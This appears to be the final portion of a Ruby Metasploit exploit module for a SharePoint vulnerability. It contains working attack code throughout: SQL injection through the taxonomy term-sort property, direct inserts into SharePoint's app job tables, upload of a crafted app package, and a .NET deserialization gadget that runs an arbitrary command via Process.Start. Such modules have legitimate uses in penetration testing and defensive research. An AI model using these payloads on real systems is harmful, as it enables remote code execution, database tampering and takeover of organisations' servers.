def inject_sql(sql_batch, timeout = 300)
payload = "x'; #{sql_batch} -- "
src = create_termset("Ts#{Rex::Text.rand_text_alphanumeric(12)}")
dst = create_termset("Td#{Rex::Text.rand_text_alphanumeric(12)}")
term = create_term(src, "Tm#{Rex::Text.rand_text_alphanumeric(12)}")
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="3" />
<ObjectPath Id="11" ObjectPathId="4" />
<ObjectPath Id="12" ObjectPathId="5" />
<SetProperty Id="13" ObjectPathId="4" Name="CustomSortOrder"><Parameter Type="String">#{xml_escape(payload)}</Parameter></SetProperty>
<Method Id="14" ObjectPathId="4" Name="Move"><Parameters><Parameter ObjectPathId="5" /></Parameters></Method>
<Method Id="15" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{#{datastore['TAXONOMY_STORE_ID']}}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermInTermSet">
<Parameters>
<Parameter Type="Guid">{#{src}}</Parameter>
<Parameter Type="Guid">{#{term}}</Parameter>
</Parameters>
</Method>
<Method Id="5" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{#{dst}}</Parameter></Parameters></Method>
</ObjectPaths>
</Request>
XML
process_query(xml, timeout)
end
def build_task_insert_sql(taskdata, job_id, task_id, isolation_key)
taskdata_expr = "0x#{taskdata.unpack1('H*')}"
web_id = datastore['WEB_ID'].to_s
<<~SQL.strip
USE [#{mssql_identifier(datastore['CONTENT_DB'])}];
DECLARE @SiteId uniqueidentifier = '#{sql_literal(datastore['SITE_ID'])}';
DECLARE @JobId uniqueidentifier = '#{job_id}';
DECLARE @TaskId uniqueidentifier = '#{task_id}';
DECLARE @SourceInstallationId uniqueidentifier = NEWID();
INSERT INTO dbo.AppInstallations (Id, Status, InError, SourceInfoId, WebId, CreationTime, SiteSubscriptionId, LastJobOperation, WasLastJobCancelled, WasLastJobManuallyCancelled, IsIconHosted, CreatorId, DisableAuthority, InstallationLocale, SiteId)
VALUES (@SourceInstallationId, 5, 0, NEWID(), '#{sql_literal(web_id)}', GETUTCDATE(), '00000000-0000-0000-0000-000000000000', 0, 0, 0, 0, #{datastore['JOB_CREATOR_ID']}, 0, 1033, @SiteId); WHILE @@TRANCOUNT > 0 COMMIT;
INSERT INTO dbo.AppJobs (Id, InstallationId, Operation, IsCancelled, IsManuallyCancelled, IsCommitted, CreationTime, JobCreatorId, SiteId)
VALUES (@JobId, @SourceInstallationId, 1, 0, 0, 1, GETUTCDATE(), #{datastore['JOB_CREATOR_ID']}, @SiteId); WHILE @@TRANCOUNT > 0 COMMIT;
INSERT INTO dbo.AppTasks (JobId, TaskId, TaskType, TaskData, PulledTime, FinishedTime, Retries, TaskCloneId, EstimatedDurationMinutes, RegisteredTime, TimeoutTime, IsRollback, TaskOperation, CancelledWhileInProgress, LastPullerHostName, IsolationKey, SiteId)
VALUES (@JobId, @TaskId, '#{sql_literal(datastore['TASK_TYPE'])}', #{taskdata_expr}, NULL, NULL, 0, NULL, 1, GETUTCDATE(), NULL, 0, 1, 0, NULL, '#{isolation_key}', @SiteId); WHILE @@TRANCOUNT > 0 COMMIT;
SQL
end
def trigger_load_and_install
product_id = SecureRandom.uuid
title = datastore['APP_TITLE'].present? ? datastore['APP_TITLE'] : "TaxonomyExtRce#{Rex::Text.rand_text_hex(4)}"
app_package = build_app_package(title, product_id)
store_loot('sharepoint.cve_2026_26114.app', 'application/zip', rhost, app_package, "#{title}.app", 'CVE-2026-26114 trigger app package')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_api', 'web', 'LoadAndInstallApp'),
'ctype' => 'application/octet-stream',
'headers' => {
'Accept' => 'application/json;odata=verbose',
'X-RequestDigest' => form_digest
},
'data' => app_package
}.merge(auth_hash), 180)
return { ok: false, reason: 'no response from LoadAndInstallApp' } unless res
return { ok: false, reason: "HTTP #{res.code} #{short_body(res)}" } unless res.code == 200
{ ok: true, product_id: product_id }
end
def build_app_package(title, product_id)
manifest = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<App xmlns="http://schemas.microsoft.com/sharepoint/2012/app/manifest"
Name="#{xml_escape(product_id)}"
ProductID="{#{product_id}}"
Version="1.0.0.0"
SharePointMinVersion="15.0.0.0">
<Properties>
<Title>#{xml_escape(title)}</Title>
<StartPage>~appWebUrl/</StartPage>
</Properties>
<AppPrincipal><Internal /></AppPrincipal>
</App>
XML
content_types = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Default Extension="wsp" ContentType="application/octet-stream"/>
<Override PartName="/AppManifest.xml" ContentType="text/xml"/>
</Types>
XML
root_rels = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/sharepoint/2012/app/relationships/package-manifest" Target="/AppManifest.xml"/>
</Relationships>
XML
manifest_rels = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/sharepoint/2012/app/relationships/manifest-wsp" Target="/app/blank.wsp"/>
</Relationships>
XML
wsp_rels = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/sharepoint/2012/app/relationships/partconfiguration" Target="/app/blank.config.xml"/>
</Relationships>
XML
part_cfg = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<AppPartConfig xmlns="http://schemas.microsoft.com/sharepoint/2012/app/partconfiguration">
<Id>#{SecureRandom.uuid}</Id>
</AppPartConfig>
XML
zip = Rex::Zip::Archive.new
zip.add_file('AppManifest.xml', manifest)
zip.add_file('[Content_Types].xml', content_types)
zip.add_file('_rels/.rels', root_rels)
zip.add_file('_rels/AppManifest.xml.rels', manifest_rels)
zip.add_file('app/_rels/blank.wsp.rels', wsp_rels)
zip.add_file('app/blank.config.xml', part_cfg)
zip.add_file('app/blank.wsp', Base64.decode64(BLANK_WSP_B64))
zip.pack
end
def generate_ndcs_payload(command)
first_space = command.index(' ')
file_name = first_space ? command[0...first_space] : command
arguments = first_space ? command[(first_space + 1)..] : ''
item0, item1 = [file_name, arguments].sort
<<~XML.delete("\n")
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">#{ndcs_string_node(25, item0)}#{ndcs_string_node(26, item1)}</Items></ArrayOfstring>
XML
end
def ndcs_string_node(id, value)
if value.to_s.empty?
%(<string z:Id="#{id}" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>).dup
else
%(<string z:Id="#{id}" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">#{xml_escape(value)}</string>).dup
end
end
def short_body(res, limit = 300)
res.body.to_s.gsub(/\s+/, ' ')[0, limit]
end
def xml_escape(value)
CGI.escapeHTML(value.to_s)
end
def sql_literal(value)
value.to_s.gsub("'", "''")
end
def mssql_identifier(value)
value.to_s.gsub(']', ']]')
end
end